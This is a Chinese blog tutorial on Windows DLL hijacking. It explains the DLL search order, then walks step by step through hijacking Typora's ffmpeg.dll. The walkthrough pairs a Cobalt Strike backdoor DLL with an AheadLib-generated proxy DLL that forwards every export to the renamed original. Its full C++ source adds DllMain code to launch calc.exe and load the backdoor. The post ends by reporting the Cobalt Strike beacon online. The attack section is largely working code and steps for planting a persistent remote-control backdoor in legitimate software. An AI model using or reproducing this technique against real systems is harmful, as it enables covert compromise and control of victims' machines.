DLL劫持&CS上线主机

最新推荐文章于 2024-05-03 14:32:41 发布
最新推荐文章于 2024-05-03 14:32:41 发布
阅读量459 收藏 6
点赞数 1
分类专栏： 网络安全 文章标签： 网络安全 系统安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45317844/article/details/134115695
版权

DLL劫持

什么是DLL文件

百度百科：

DLL的全称是Dynamic Link Library, 中文叫做“动态链接文件”。在Windows操作系统中, DLL对于程序执行是非常重要的, 因为程序在执行的时候, 必须链接到DLL文件, 才能够正确地运行。而有些DLL文件可以被许多程序共用。因此, 程序设计人员可以利用DLL文件, 使程序不至于太过巨大。但是当安装的程序越来越多, DLL文件也就会越来越多, 如果当你删除程序的时候, 没有用的DLL文件没有被删除的话, 久而久之就造成系统的负担了。DLL文件和EXE文件同样可以由编译语言生成，但是DLL没有程序启动入口，所以DLL文件不可执行

举个例子：c语言在执行输出程序的时候需要引入头文件，而一个exe程序执行的时候也需要引入DLL文件，才能正常运行

DLL加载过程

Windows查找DLL的目录以及对应的顺序（SafeDllSearchMode 默认会被开启）：

默认注册表为：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode，其键值为1

  1. 进程对应的应用程序所在目录（可理解为程序安装目录比如C:ProgramFilesuTorrent）；
  2. 系统目录（即%windir%system32）；
  3. 16位系统目录（即%windir%system）；
  4. Windows目录（即%windir%）；
  5. 当前目录（运行的某个文件所在目录，比如C:DocumentsandSettingsAdministratorDesktoptest）；
  6. PATH环境变量中的各个目录；

Windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs，那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用，而只能从系统目录即SYSTEM32目录下调用，其注册表位置：
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

在这里插入图片描述

\KnownDLLs注册表项指定的DLL是已经被操作系统加载过的DLL，不会被应用程序搜索并加载

DLL劫持用到的工具

Process Monitor

Process Monitor 是一款由 Sysinternals 公司开发的包含强大的监视和过滤功能的高级 Windows 监视工具，可实时显示文件系统、注册表、进程/线程的活动。它结合了两个 Sysinternals 的旧版工具 Filemon 和 Regmon 的功能，并添加了一个包含丰富的和非破坏性的广泛增强过滤功能列表，全面的事件属性（例如会话 ID 和用户名称），可靠的进程信息，每个操作的完整线程、堆栈与集成符号支持，同时记录到一个文件中，以及更多。其独一无二的强大功能将使 Process Monitor 在您的系统故障排除和恶意软件检测中发挥重要的作用。

该工具可以查看应用程序都调用了那些DLL

在这里插入图片描述

火绒剑

在这里插入图片描述

自动查找工具

该工具需要指定出需要查找的应用程序，进而查看该程序是否存在可以利用的DLL文件

https://github.com/sensepost/rattler

Aheadlib注入工具

这个工具简单的说，就是你找到可以利用的dll文件，将该文件导入进入，这个工具会自动的为你生成一个cpp代码，这个cpp代码本质上是将原dll的函数名提取出来，进而引用进来，所以说原dll不要删除，但是你要修改一下，比如原名称为ffmpeg.dll你要修改为ffmpegOrg.dll，然后在vs编辑器里面打开并且生成cpp文件，后面会详细讲到具体步骤。

工具地址：https://bbs.kanxue.com/thread-224408.htm

DLL劫持

DLL劫持也称DLL注入，通常情况下，程序加载DLL文件并不会指定DLL位置，所以程序根据相应的系统规则来查找DLL文件，如上文"DLL加载过程"所述，DLL劫持本质上是通过DLL加载顺序的漏洞，伪造一个DLL文件，将其放置在应用程序目录内，该DLL文件包含了正常的DLL文件的功能，但是攻击者夹带私货，进而执行指定的后门程序，一般情况下，当相应的应用程序调用了被劫持后的DLL文件，就会执行后门程序。

DLL劫持条件

  • 想要劫持的DLL不能在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中

  • 其dll是EXE程序首先加载的DLL，而不是依赖其他DLL加载的

  • DLL确实被加载进内存中

可以通过Process Monitor或者火绒查看软件都进行了哪些DLL调用

实践

使用Cobalt Strike生成带有后门的DLL文件

创建监听器这里就不说了，知识库里面也有介绍，生成dll文件

在这里插入图片描述

在这里插入图片描述

然后保存下来即可，名字可以随意，但是后缀必须是dll，我将其命名为test.dll，后面进行使用

寻找可以劫持的DLL

以Typora为例，首先使用火绒剑查看Typora都调用了哪些DLL文件，发现一个很明显的ffmpeg.dll不是来自于系统文件，那就更不可能在注册表中出现了，由此可以猜测该dll可能存在被劫持的风险

在这里插入图片描述

使用Aheadlib生成cpp代码

使用Aheadlib打开原dll文件

在这里插入图片描述

将生成的cpp文件复制下来

生成DLL文件

打开vs编辑器，创建一个cpp项目，项目名称为ffmpeg,删除无关文件(下图标记的文件)

在这里插入图片描述

点击项目——>ffmpeg属性——>c/c++——>代码生成——>运行库修改为多线程(/MT)

在这里插入图片描述

预编译头改为不使用预编译

在这里插入图片描述

将项目生成的代码删除，拷贝的cpp代码粘贴进去，粘贴进入之后，如果不加改动的话，还是和原来的dll文件功能一样，没有任何变化，需要手动添加一些执行的代码。

弹出计算器的代码

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

加载其他dll的代码

LoadLibraryA("test.dll");   //加载一个test.dll的文件

最终修改的代码如下，需要注意代码添加的位置

在这里插入图片描述


// 头文件
#include <Windows.h>


// 导出函数
#pragma comment(linker, "/EXPORT:av_buffer_create=ffmpegOrg.av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=ffmpegOrg.av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=ffmpegOrg.av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=ffmpegOrg.av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=ffmpegOrg.av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=ffmpegOrg.av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=ffmpegOrg.av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=ffmpegOrg.av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=ffmpegOrg.av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=ffmpegOrg.av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=ffmpegOrg.av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=ffmpegOrg.av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=ffmpegOrg.av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=ffmpegOrg.av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=ffmpegOrg.av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=ffmpegOrg.av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=ffmpegOrg.av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=ffmpegOrg.av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=ffmpegOrg.av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=ffmpegOrg.av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=ffmpegOrg.av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=ffmpegOrg.av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=ffmpegOrg.av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=ffmpegOrg.av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=ffmpegOrg.av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_rdft_calc=ffmpegOrg.av_rdft_calc,@26")
#pragma comment(linker, "/EXPORT:av_rdft_end=ffmpegOrg.av_rdft_end,@27")
#pragma comment(linker, "/EXPORT:av_rdft_init=ffmpegOrg.av_rdft_init,@28")
#pragma comment(linker, "/EXPORT:av_read_frame=ffmpegOrg.av_read_frame,@29")
#pragma comment(linker, "/EXPORT:av_rescale_q=ffmpegOrg.av_rescale_q,@30")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=ffmpegOrg.av_samples_get_buffer_size,@31")
#pragma comment(linker, "/EXPORT:av_seek_frame=ffmpegOrg.av_seek_frame,@32")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=ffmpegOrg.av_stream_get_first_dts,@33")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=ffmpegOrg.av_stream_get_side_data,@34")
#pragma comment(linker, "/EXPORT:av_strerror=ffmpegOrg.av_strerror,@35")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=ffmpegOrg.avcodec_align_dimensions,@36")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=ffmpegOrg.avcodec_alloc_context3,@37")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=ffmpegOrg.avcodec_descriptor_get,@38")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=ffmpegOrg.avcodec_descriptor_next,@39")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=ffmpegOrg.avcodec_find_decoder,@40")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=ffmpegOrg.avcodec_flush_buffers,@41")
#pragma comment(linker, "/EXPORT:avcodec_free_context=ffmpegOrg.avcodec_free_context,@42")
#pragma comment(linker, "/EXPORT:avcodec_get_name=ffmpegOrg.avcodec_get_name,@43")
#pragma comment(linker, "/EXPORT:avcodec_open2=ffmpegOrg.avcodec_open2,@44")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=ffmpegOrg.avcodec_parameters_to_context,@45")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=ffmpegOrg.avcodec_receive_frame,@46")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=ffmpegOrg.avcodec_send_packet,@47")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=ffmpegOrg.avformat_alloc_context,@48")
#pragma comment(linker, "/EXPORT:avformat_close_input=ffmpegOrg.avformat_close_input,@49")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=ffmpegOrg.avformat_find_stream_info,@50")
#pragma comment(linker, "/EXPORT:avformat_free_context=ffmpegOrg.avformat_free_context,@51")
#pragma comment(linker, "/EXPORT:avformat_open_input=ffmpegOrg.avformat_open_input,@52")
#pragma comment(linker, "/EXPORT:avio_alloc_context=ffmpegOrg.avio_alloc_context,@53")
#pragma comment(linker, "/EXPORT:avio_close=ffmpegOrg.avio_close,@54")


// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
		STARTUPINFO si = { sizeof(si) };
		PROCESS_INFORMATION pi;
		CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
		LoadLibraryA("test.dll");
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

点击生成->生成解决方案，即可将程序编译成dll文件

DLL劫持

将cs生成的dll和vs生成的dll放到应用程序的目录中，一般是安装目录，并且将原dll重命名为ffmpegOrg，这个重命名的名字是原dll名字加上Org

在这里插入图片描述

运行Typora,弹出计算器，cs上线，成功！

在这里插入图片描述

在这里插入图片描述

后记

不知道为什么每次打开Typora ffmpeg.dll都执行多遍，很是奇怪，有懂的可以告诉我

参考与引用:

动态链接库搜索顺序 - Win32 应用 |Microsoft学习

dll 劫持和应用研究

最新dll劫持详解

DLL Hijacking & COM Hijacking ByPass UAC - 议题解读

超详细之dll劫持+打包钓鱼详细教程

DLL劫持漏洞自动化识别工具Rattler测试

打包钓鱼详细教程

DLL劫持漏洞自动化识别工具Rattler测试

如何快速完成DLL劫持，实现权限维持，重启上线

pwjcw
关注
  • 1
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
dll 劫持和应用研究
顶峰
03-31 709
2020年12月，SolarWinds 攻击事件引发全球的关注()，攻击团队在 2020年上旬通过对 SolarWinds Orion产品实现供应链攻击，导致诸多厂商被攻击，造成了不可估量的损失。这种国家间的 APT 攻击包含了大量的技术细节，其中供应链攻击的实现，也就是 SUNBURST 后门植入这一块引起了我极大的兴趣。
文件上传
weixin_43152809的博客
12-02 263
什么是文件上传漏洞 在现代互联网的web应用程序中，上传文件是一种常见的功能，因为它有助于提高业务效率。比如企业的OA系统，允许用户上传图片、视频、头像和许多其他相关类型的文件。然而向用户提供的功能越多，web应用收到攻击的可能性就越大，如果web应用存在文件上传漏洞，那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中，获得网站的权限，或进一步危害服务器 为什么文件上传存在漏洞 上传文件时，如果服务端代码未对客户端上传的文件进行严格过滤，就容易造成文件上传漏洞 绕过限制 apache解析从右到
2024年DLL 劫持原理（运维），2024年最新Linux运维开发知识点
最新发布
2301_79054215的博客
05-03 849
那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径，之后，应用程序就将DLL载入了自己的内存空间，执行相应的函数功能。技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
逆向破解之破解补丁与劫持Dll
xf555er的博客
08-22 5557
有些加了壳的程序会导致其在未完全解密完成的情况下出现如下汇编代码当软件运行后，其真正的汇编代码才会呈现出来，也就是我们常说的“吐壳”在程序没有把壳完全吐出来前，我们需要通过代码来判断这个程序是否吐完壳了，最好的方法就是判断某个内存地址的值是否是解密完成后的值这里我就选4010F0内存地址的值53来判断程序是否吐完壳了简单来说劫持dll就是劫持系统的dll，弄一个包含恶意代码的dll来伪装成系统dll，然后把这个dll和程序放在同一目录，程序会优先调用含有恶意代码的dll本次实例演示劫持系统的。
DLL搜索的目录顺序（DLL劫持）
WLINX
08-23 1348
DLL劫持是技术当一个可执行文件运行时，Windows加载器将可执行模块映射到进程的地址空间中，加载器分析可执行模块的输入表，并设法找出任何需要的DLL，并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名，因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL，如果没找到，则在Windows系统目录中查找，最后是在环境变量中列出的各个目录下查找。（...
第62天：权限提升-烂土豆&dll劫持&引号路径&服务权限1
08-03
本文将深入探讨四种常见的提权技术：烂土豆、DLL劫持、不带引号的服务路径以及不安全的服务权限配置，并通过具体案例来解析这些技术的工作原理和利用过程。 首先，烂土豆是一种Windows权限提升漏洞，它允许攻击者...
DLLjiechi.zip_delphi 网络_dll_dll劫持_挟持源码
09-22
DLL劫持，又称为DLL挟持，是一种常见的黑客攻击手段，通过篡改程序对DLL的加载顺序或路径，使得恶意的DLL文件得以执行，从而达到控制或监视系统的目的。本篇文章将深入探讨DLL劫持的概念、原理，并结合Delphi编程...
version.dll 劫持源代码
01-08
**version.dll 劫持源代码详解** 在Windows操作系统中，`version.dll` 是一个系统级的动态链接库，主要用于处理应用程序的版本信息。它包含了读取和验证PE（Portable Executable）文件版本资源的函数。然而，有些...
dll劫持工具.zip
10-05
DLL劫持（DLL Hijacking）是一种在Windows操作系统中利用动态链接库加载机制的安全漏洞进行攻击的技术。DLL文件是Windows系统和应用程序中广泛使用的组件，它们包含可重用的代码和数据，供多个程序共享。当一个程序...
hadoop2.7.x_winutils_exe&&hadoop_dll&&bin&&hadoop-eclipse-plugin-2.7.7.jar.rar
04-06
hadoop2.7版本本地安装运行必须的winutils.exe和hadoop.dll以及Hadoop-2.7.7-Windows10x64位需要的bin、hadoop-eclipse-plugin-2.7.7.jar
DLL劫持代码生成.zip
09-24
DLL劫持代码生成.zip 用于生产劫持dll的xxx.cpp代码
Dll劫持
SHELLCODE_8BIT的博客
12-01 666
dll劫持_. iDea.的博客-CSDN博客_dll劫持
DLL劫持原理学习
Gamma_lab的博客
08-06 1013
0x01 什么是DLL？ 百度百科： DLL(Dynamic Link Library)文件为动态链接库文件，又称“应用程序拓展”，是软件文件类型。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件，一个DLL文件也可能被不同的应用程序使用，这样的DLL文件被称为共享DLL文件。 简而言之： DLL 是一个包含可由多个程序同时使用的代码和数据的库。例
Dll劫持漏洞详解
weixin_30904593的博客
09-04 1086
一、dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件，又称“应用程序拓展”，是软件文件类型。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件，一个DLL文件也可能被不同的应用程序使用，这样的DL...
Windows提权笔记-动态库劫持（dll劫持、包含多种绕过UAC方法）
墨痕诉清风的博客
03-12 624
dll 劫持是也是绕过 UAC 常用的方法，在 UACME 项目中很多绕过方法都是使用 dll 劫持。dll 劫持也是一个比较大的主题。一般操作如下，假设受信任的程序 c:\windows\system32\test\test.exe 会加载 c:\windows\system32\test.dll （不在 KnowsDLLS里面），
DLL劫持-白加黑
weixin_44747030的博客
05-06 2835
0x01 前言 DLL劫持可以用作权限维持，权限提升等作用，下面介绍一下在有杀毒软件的情况下dll劫持通过白加黑的方式获取权限，上线目标。 杀软在检测一个应用是否为病毒的时候，首先会通过黑白名单校验-病毒特征库查询-上传云查杀，在黑白名单校验阶段，如果是白名单中的应用则可以成功运行，白名单也就是有数字签名的应用，我们可以通过修改有数字签名应用中的dll，当该应用启动时会调用该dll，从而上线目标。 0x02 复现 使用cs生成shellcode 使用管理员权限打开Aheadlib+ 选择要劫持转发的dl
Dll注入技术之劫持注入
热门推荐
Hades的博客
06-28 1万+
Dll注入技术之劫持注入测试环境系统:Windows 7 32bit工具:FileCleaner2.0 和 lpk.dll主要思路利用Window可以先加载当前目录下的dll特性,仿造系统的LPK.DLL,让应用程序先加载我们的伪LPK.DLL,然后在我们的dll中去调用原来系统的原函数.引用网络中的原理讲解●背景知识●首先我们要了解Windows为什么可以DLL劫持呢？主要是因为Windows的...
DLL劫持技术解析(DLL Hijack)
輚至消亡
07-12 3749
0x01 简介 DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞，Windows对DLL的默认查找顺序(XP SP2及之后)如下: 1. EXE所在文件夹 2. Windows系统目录 3. Windows 16位系统目录 4. Windows目录 5. 当前文件夹 6. PATH环境变量中指出的目录 当我们在EXE程序中导入了某个DLL文件时，其搜索并使...
DLL劫持实验 - 使用AheadLib工具
Acnorth的博客
03-11 4542
$ DLL劫持实验 - 使用AheadLib工具 参考文档： 实验过程：https://www.write-bug.com/article/1883.html 如何判断程序是32位还是64位：https://blog.csdn.net/qq_23308823/article/details/54898119 使用VS2010编译64位DLL：https://blog.csdn.net/l52771...
易语言编写dll劫持补丁
09-17
在编写dll劫持补丁时，可以使用易语言来实现。 首先，dll劫持是指通过修改被劫持的进程加载的dll路径或名称，使其加载恶意的dll文件。编写dll劫持补丁实际上是为了修复这个漏洞，使被劫持的进程加载正确的dll文件。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值